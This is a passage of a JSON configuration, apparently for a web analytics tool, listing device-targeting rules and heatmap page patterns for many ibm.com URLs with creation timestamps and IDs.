url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":378334},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":241745},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":94165},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/XConfigureProductView?trialId=&cm_sp=&catalogId=12301&langId=-1&storeId=18251&partNumber=DK-devWorks-USD&ddkey=http%3AXConfigureProduct#xaddtocart","match_operation":"exact","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":362728},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/XConfigureProductView?trialId=&cm_sp=&catalogId=12301&langId=-1&storeId=18251&partNumber=DK-devWorks-USD&ddkey=http%3AXConfigureProduct#xaddtocart","match_operation":"exact","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":226139},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/XConfigureProductView?trialId=&cm_sp=&catalogId=12301&langId=-1&storeId=18251&partNumber=DK-devWorks-USD&ddkey=http%3AXConfigureProduct#xaddtocart","match_operation":"exact","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":74479},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/?S_PKG=-&S_TACT=C432013W&campaign=PureApplication%20Tutorial_BR&group=PureApp_BR&mkwid=1af491ed-84fa-9ee8-2a5e-00002588308a&ct=C432013W&iio=PSYS&cmp=C4320&ck=%2Bibm%20pureapplication%20service&cs=b&ccy=US&cr=google&cm=k&cn=PureApp_BR","match_operation":"exact","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":318675},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/?S_PKG=-&S_TACT=C432013W&campaign=PureApplication%20Tutorial_BR&group=PureApp_BR&mkwid=1af491ed-84fa-9ee8-2a5e-00002588308a&ct=C432013W&iio=PSYS&cmp=C4320&ck=%2Bibm%20pureapplication%20service&cs=b&ccy=US&cr=google&cm=k&cn=PureApp_BR","match_operation":"exact","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":182083},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/?S_PKG=-&S_TACT=C432013W&campaign=PureApplication%20Tutorial_BR&group=PureApp_BR&mkwid=1af491ed-84fa-9ee8-2a5e-00002588308a&ct=C432013W&iio=PSYS&cmp=C4320&ck=%2Bibm%20pureapplication%20service&cs=b&ccy=US&cr=google&cm=k&cn=PureApp_BR","match_operation":"exact","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":98162},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/en-us\/index.html","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":342862},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/en-us\/index.html","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":206270},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/en-us\/index.html","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":64026}],"recording_capture_keystrokes":false,"heatmaps":[{"targeting":[{"pattern":"http:\/\/ibm.com\/us-en\/","match_operation":"simple","component":"url"}],"created_epoch_time":1449854856,"id":280987},{"targeting":[{"pattern":"http:\/\/www.ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"simple","component":"url"}],"created_epoch_time":1449851023,"id":280857},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1449732051,"id":277453},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445024270,"id":205800},{"targeting":[{"pattern":"http:\/\/ibm.com\/smarterplanet\/us\/en\/ibmwatson\/clinical-trial-matching.html","match_operation":"simple","component":"url"}],"created_epoch_time":1444498440,"id":198257},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/searchterm\/marketplace\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445963756,"id":217969},{"targeting":[{"pattern":"http:\/\/ibm.com\/industries\/en-us\/","match_operation":"simple","component":"url"}],"created_epoch_time":1442609143,"id":175931},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-security","match_operation":"simple","component":"url"}],"created_epoch_time":1445624017,"id":214289},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing\/web-customer-management","match_operation":"simple","component":"url"}],"created_epoch_time":1445623797,"id":214280},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/platform","match_operation":"simple","component":"url"}],"created_epoch_time":1444836363,"id":202425},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/enterprise-application-integration\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978090,"id":218378},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/mobile-cloud-computing\/","match_operation":"simple","component":"url"}],"created_epoch_time":1445966539,"id":218056},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/mobile-device-management\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977976,"id":218374},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing\/digital-experience","match_operation":"simple","component":"url"}],"created_epoch_time":1445623964,"id":214287},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing\/brand-co-creation","match_operation":"simple","component":"url"}],"created_epoch_time":1445623897,"id":214284},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/email-and-social-collaboration\/IBM-verse","match_operation":"simple","component":"url"}],"created_epoch_time":1445966396,"id":218048},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops\/hybrid","match_operation":"simple","component":"url"}],"created_epoch_time":1445031997,"id":205969},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops\/devops-for-monitoring","match_operation":"simple","component":"url"}],"created_epoch_time":1445031866,"id":205965},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops\/docker-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445032065,"id":205971},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/community","match_operation":"simple","component":"url"}],"created_epoch_time":1444836530,"id":202437},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/email-and-social-collaboration\/social-business-platform","match_operation":"simple","component":"url"}],"created_epoch_time":1445966451,"id":218051},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-business-solutions","match_operation":"simple","component":"url"}],"created_epoch_time":1445980208,"id":218477},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops\/devops-for-fast-apps","match_operation":"simple","component":"url"}],"created_epoch_time":1445031799,"id":205963},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/cloud-web-application","match_operation":"simple","component":"url"}],"created_epoch_time":1445451654,"id":211239},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/scalable-web-applications","match_operation":"simple","component":"url"}],"created_epoch_time":1445451812,"id":211244},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/secure-runtime-environment","match_operation":"simple","component":"url"}],"created_epoch_time":1445451574,"id":211238},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles","match_operation":"simple","component":"url"}],"created_epoch_time":1448387532,"id":255901},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/financial-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445030719,"id":205945},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/cloud-database-for-web-applications","match_operation":"simple","component":"url"}],"created_epoch_time":1445451861,"id":211246},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/marketing-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445030131,"id":205934},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/wordpress-on-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445451735,"id":211241},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/risk-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445030277,"id":205935},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/email-and-social-collaboration\/business-email","match_operation":"simple","component":"url"}],"created_epoch_time":1445966338,"id":218046},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/roles","match_operation":"simple","component":"url"}],"created_epoch_time":1445451934,"id":211249},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing","match_operation":"simple","component":"url"}],"created_epoch_time":1445623744,"id":214276},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/database-management\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978041,"id":218375},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/process-management-software-in-the-cloud\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978500,"id":218389},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/services","match_operation":"simple","component":"url"}],"created_epoch_time":1444836458,"id":202429},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/icons","match_operation":"simple","component":"url"}],"created_epoch_time":1448864780,"id":261717},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hr-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445451980,"id":211251},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/it-service-management","match_operation":"simple","component":"url"}],"created_epoch_time":1445453070,"id":211278},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/84","match_operation":"simple","component":"url"}],"created_epoch_time":1445979321,"id":218442},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/built-on-cloud\/saas-security","match_operation":"simple","component":"url"}],"created_epoch_time":1445980311,"id":218480},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance","match_operation":"simple","component":"url"}],"created_epoch_time":1448370513,"id":255152},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/tools","match_operation":"simple","component":"url"}],"created_epoch_time":1448370482,"id":255151},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/industry-federal","match_operation":"simple","component":"url"}],"created_epoch_time":1445980168,"id":218475},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/private-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445980054,"id":218470},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops","match_operation":"simple","component":"url"}],"created_epoch_time":1445031697,"id":205958},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/statistical-analysis-and-reporting\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1448384669,"id":255784},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment","match_operation":"simple","component":"url"}],"created_epoch_time":1445032408,"id":205976},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/mobile-cloud-computing","match_operation":"simple","component":"url"}],"created_epoch_time":1444925701,"id":204224},{"targeting":[{"pattern":"http:\/\/ibm.com\/products\/en-us\/","match_operation":"simple","component":"url"}],"created_epoch_time":1447897879,"id":248721},{"targeting":[{"pattern":"marketplace\/cloud\/developer","match_operation":"contains","component":"url"}],"created_epoch_time":1448030843,"id":251257},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/what-is-cloud-computing.html","match_operation":"simple","component":"url"}],"created_epoch_time":1445966596,"id":218060},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing\/scale-rewarding-experiences","match_operation":"simple","component":"url"}],"created_epoch_time":1445623835,"id":214282},{"targeting":[{"pattern":"http:\/\/ibm.com\/services\/en-us\/","match_operation":"simple","component":"url"}],"created_epoch_time":1442609125,"id":175930},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-security\/security-for-application-development","match_operation":"simple","component":"url"}],"created_epoch_time":1445624103,"id":214290},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/site","match_operation":"simple","component":"url"}],"created_epoch_time":1448370405,"id":255147},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/consulting","match_operation":"simple","component":"url"}],"created_epoch_time":1445979880,"id":218467},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/email-and-social-collaboration","match_operation":"simple","component":"url"}],"created_epoch_time":1445625687,"id":214315},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/partner-landing","match_operation":"simple","component":"url"}],"created_epoch_time":1445980347,"id":218481},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/big-data-cloud\/daas-database-as-a-service","match_operation":"simple","component":"url"}],"created_epoch_time":1445031541,"id":205956},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/watson-analytics\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1447176184,"id":236325},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/business-email-platform\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977806,"id":218366},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/big-data-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445030966,"id":205949},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/infrastructure","match_operation":"simple","component":"url"}],"created_epoch_time":1444836224,"id":202421},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/cloud-platform\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445011564,"id":205613},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/built-on-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1444836495,"id":202432},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure","match_operation":"simple","component":"url"}],"created_epoch_time":1445032990,"id":205986},{"targeting":[{"pattern":"http:\/\/ibm.com\/smarterplanet\/us\/en\/ibmwatson\/discovery-advisor.html","match_operation":"simple","component":"url"}],"created_epoch_time":1444498155,"id":198254},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-security\/managed-hosted-security-services","match_operation":"simple","component":"url"}],"created_epoch_time":1445979811,"id":218463},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-security\/mobile-and-endpoint-security","match_operation":"simple","component":"url"}],"created_epoch_time":1445624163,"id":214291},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/external-links","match_operation":"simple","component":"url"}],"created_epoch_time":1448864680,"id":261712},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/menu-navigation","match_operation":"simple","component":"url"}],"created_epoch_time":1448864912,"id":261723},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/tabs-navigation","match_operation":"simple","component":"url"}],"created_epoch_time":1448865131,"id":261731},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/full-width-sections","match_operation":"simple","component":"url"}],"created_epoch_time":1448864735,"id":261715},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-integration","match_operation":"simple","component":"url"}],"created_epoch_time":1445452746,"id":211267},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment\/managed-sap","match_operation":"simple","component":"url"}],"created_epoch_time":1445032474,"id":205978},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-integration\/api-management-on-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445452802,"id":211269},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/third-party","match_operation":"simple","component":"url"}],"created_epoch_time":1448866307,"id":261754},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/it-service-management\/it-help-desk-software","match_operation":"simple","component":"url"}],"created_epoch_time":1445623652,"id":214273},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/application-performance-management\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978245,"id":218382},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/newsletters\/issue-2015-11","match_operation":"simple","component":"url"}],"created_epoch_time":1448866036,"id":261743},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/color-palette","match_operation":"simple","component":"url"}],"created_epoch_time":1448866223,"id":261750},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/design-checklist","match_operation":"simple","component":"url"}],"created_epoch_time":1448866063,"id":261744},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/built-on-cloud\/saas-migration","match_operation":"simple","component":"url"}],"created_epoch_time":1445980249,"id":218478},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/video","match_operation":"simple","component":"url"}],"created_epoch_time":1448865176,"id":261733},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/bare-metal-server\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1444925068,"id":204211},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/overlays","match_operation":"simple","component":"url"}],"created_epoch_time":1448864936,"id":261724},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/parallax","match_operation":"simple","component":"url"}],"created_epoch_time":1448864989,"id":261726},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns","match_operation":"simple","component":"url"}],"created_epoch_time":1448370460,"id":255149},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/footers","match_operation":"simple","component":"url"}],"created_epoch_time":1448864706,"id":261714},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/mastheads","match_operation":"simple","component":"url"}],"created_epoch_time":1448864890,"id":261722},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/it-service-management\/hybrid-cloud-application-performance-management","match_operation":"simple","component":"url"}],"created_epoch_time":1445453176,"id":211280},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/integration\/us-en\/api-economy\/index.html","match_operation":"simple","component":"url"}],"created_epoch_time":1447778073,"id":246054},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/operational-decision-management\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977569,"id":218362},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/mobile-push-notifications\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1449597139,"id":274786},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/workload-automation\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978443,"id":218385},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/open-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445980099,"id":218472},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/show-hide","match_operation":"simple","component":"url"}],"created_epoch_time":1448865108,"id":261730},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/XConfigureProductView?catalogId=12301&langId=-1&partNumber=DK-D1BCWLL&storeId=18251&ddkey=https%3AXConfigureProduct","match_operation":"exact","component":"url"}],"created_epoch_time":1449605878,"id":274965},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/buttons","match_operation":"simple","component":"url"}],"created_epoch_time":1448864554,"id":261707},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/select-list-navigation","match_operation":"simple","component":"url"}],"created_epoch_time":1448865067,"id":261729},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/pagination-controls","match_operation":"simple","component":"url"}],"created_epoch_time":1448864962,"id":261725},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2860","match_operation":"simple","component":"url"}],"created_epoch_time":1445979070,"id":218425},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/css3","match_operation":"simple","component":"url"}],"created_epoch_time":1448866197,"id":261749},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hr-cloud\/talent-acquisition","match_operation":"starts_with","component":"url"}],"created_epoch_time":1445452558,"id":211261},{"targeting":[{"pattern":"http:\/\/ibm.com\/","match_operation":"simple","component":"url"}],"created_epoch_time":1447427937,"id":241687},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445979738,"id":218461},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/mobile-cloud-computing","match_operation":"starts_with","component":"url"}],"created_epoch_time":1445358297,"id":209427},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/breadcrumbs","match_operation":"simple","component":"url"}],"created_epoch_time":1448864524,"id":261706},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/live-chat","match_operation":"simple","component":"url"}],"created_epoch_time":1448864837,"id":261720},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"exact","component":"url"}],"created_epoch_time":1448387943,"id":255907},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/seo","match_operation":"simple","component":"url"}],"created_epoch_time":1448866099,"id":261746},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment\/enterprise-apps","match_operation":"simple","component":"url"}],"created_epoch_time":1445032862,"id":205985},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/scrollbar-widget","match_operation":"simple","component":"url"}],"created_epoch_time":1448865036,"id":261728},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/it-service-management\/automated-it-management","match_operation":"simple","component":"url"}],"created_epoch_time":1445623699,"id":214275},{"targeting":[{"pattern":"http:\/\/ibm.com\/it-infrastructure\/us-en\/","match_operation":"simple","component":"url"}],"created_epoch_time":1445548313,"id":213034},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/big-data-cloud\/data-management","match_operation":"starts_with","component":"url"}],"created_epoch_time":1445376304,"id":209893},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/api-management-on-cloud\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1444926232,"id":204232},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/html5","match_operation":"simple","component":"url"}],"created_epoch_time":1448866141,"id":261747},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/internet-of-things\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978182,"id":218381},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/us\/en\/partner-landing","match_operation":"simple","component":"url"}],"created_epoch_time":1445978694,"id":218402},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/pull-quotes","match_operation":"simple","component":"url"}],"created_epoch_time":1448865012,"id":261727},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/online-meetings\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978616,"id":218397},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/itsm\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978565,"id":218394},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/case-study\/","match_operation":"starts_with","component":"url"}],"created_epoch_time":1443130751,"id":182007},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2014","match_operation":"simple","component":"url"}],"created_epoch_time":1445979366,"id":218443},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/analytics\/spss\/","match_operation":"simple","component":"url"}],"created_epoch_time":1448387195,"id":255898},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/info\/trials\/#all","match_operation":"exact","component":"url"}],"created_epoch_time":1447965036,"id":250198},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hr-cloud\/hr-employee-engagement","match_operation":"simple","component":"url"}],"created_epoch_time":1445452671,"id":211266},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/garage\/","match_operation":"starts_with","component":"url"}],"created_epoch_time":1443130802,"id":182008},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/spss-statistics\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977739,"id":218364},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/solutions\/mobilefirst\/","match_operation":"simple","component":"url"}],"created_epoch_time":1444926095,"id":204230},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3450","match_operation":"simple","component":"url"}],"created_epoch_time":1445978858,"id":218416},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/4327","match_operation":"simple","component":"url"}],"created_epoch_time":1445979566,"id":218451},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/247","match_operation":"simple","component":"url"}],"created_epoch_time":1445979469,"id":218447},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/locale-selector","match_operation":"simple","component":"url"}],"created_epoch_time":1448864861,"id":261721},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2959","match_operation":"simple","component":"url"}],"created_epoch_time":1445979115,"id":218428},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/big-data-cloud\/big-data-cloud-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445031103,"id":205951},{"targeting":[{"pattern":"http:\/\/ibm.com\/uk-en\/","match_operation":"simple","component":"url"}],"created_epoch_time":1448293878,"id":253908},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3792","match_operation":"simple","component":"url"}],"created_epoch_time":1445979611,"id":218453},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/bare-metal-server\/us\/en-us#pdpPurchasing","match_operation":"exact","component":"url"}],"created_epoch_time":1444925188,"id":204215},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/index.html","match_operation":"simple","component":"url"}],"created_epoch_time":1443711432,"id":188589},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3526","match_operation":"simple","component":"url"}],"created_epoch_time":1445978808,"id":218412},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/Enterprise-Instant-Messaging\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977357,"id":218357},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3400","match_operation":"simple","component":"url"}],"created_epoch_time":1445979278,"id":218439},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/naming-policy","match_operation":"simple","component":"url"}],"created_epoch_time":1448866396,"id":261763},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-integration\/microservices","match_operation":"simple","component":"url"}],"created_epoch_time":1445453008,"id":211277},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/date-time","match_operation":"simple","component":"url"}],"created_epoch_time":1448864654,"id":261710},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/carousels","match_operation":"simple","component":"url"}],"created_epoch_time":1448864596,"id":261708},{"targeting":[{"pattern":"http:\/\/ibm.com\/analytics\/watson-analytics\/","match_operation":"simple","component":"url"}],"created_epoch_time":1446149587,"id":221624},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibmid\/basic_register\/register.html","match_operation":"simple","component":"url"}],"created_epoch_time":1446149675,"id":221627},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-anal